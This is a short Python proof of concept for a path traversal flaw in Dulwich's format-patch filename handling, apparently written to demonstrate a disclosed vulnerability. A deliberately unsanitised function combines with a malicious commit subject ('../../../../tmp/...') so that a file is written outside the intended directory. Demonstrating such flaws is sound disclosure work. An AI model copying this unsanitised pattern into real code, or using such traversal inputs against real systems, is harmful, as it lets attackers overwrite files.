Vulnerable code sample

import os

def get_summary_vulnerable(subject_line):
    """
    This function simulates the vulnerable get_summary method from older
    Dulwich versions. It only replaces spaces with dashes and does not
    sanitize path traversal characters like '..' or '/'.
    """
    return subject_line.replace(' ', '-')

def format_patch_vulnerable(outdir, commit, index):
    """
    This function demonstrates the CVE-2026-47712 vulnerability.
    It constructs a patch filename from a commit's subject line without
    sanitization, allowing a malicious subject to write a file outside
    of the intended `outdir`.
    """
    # Get the summary from the commit subject. This summary is not sanitized.
    summary = get_summary_vulnerable(commit['subject'])

    # Construct the filename. A malicious summary can contain '..' parts.
    # Example: "0001-../../tmp/pwned.patch"
    patch_filename = f"{index:04d}-{summary}.patch"

    # os.path.join will process the ".." parts, leading to path traversal.
    # The resulting path will point outside the 'outdir'.
    malicious_path = os.path.join(outdir, patch_filename)

    print(f"Intended directory: {os.path.abspath(outdir)}")
    print(f"Maliciously constructed path: {os.path.abspath(malicious_path)}")

    # Attempt to write the file to the traversed path.
    try:
        # Create parent directories if they don't exist (e.g. /tmp/)
        os.makedirs(os.path.dirname(malicious_path), exist_ok=True)
        with open(malicious_path, 'w') as f:
            f.write(f"This file was created via path traversal.\n")
            f.write(f"Commit Subject: {commit['subject']}\n")
        print(f"\n[SUCCESS] Vulnerability exploited.")
        print(f"File created at: {os.path.abspath(malicious_path)}")
    except Exception as e:
        print(f"\n[ERROR] Could not create file: {e}")


# --- PoC Demonstration ---

if __name__ == "__main__":
    # The directory where patches are supposed to be saved.
    safe_output_directory = "patches_dir"
    os.makedirs(safe_output_directory, exist_ok=True)

    # A mock commit object with a malicious subject line.
    # The '..' will be interpreted by os.path.join to traverse directories.
    malicious_commit_object = {
        'subject': '../../../../tmp/maliciously_created_file'
    }

    # Execute the vulnerable function with the malicious input.
    format_patch_vulnerable(
        outdir=safe_output_directory,
        commit=malicious_commit_object,
        index=1
    )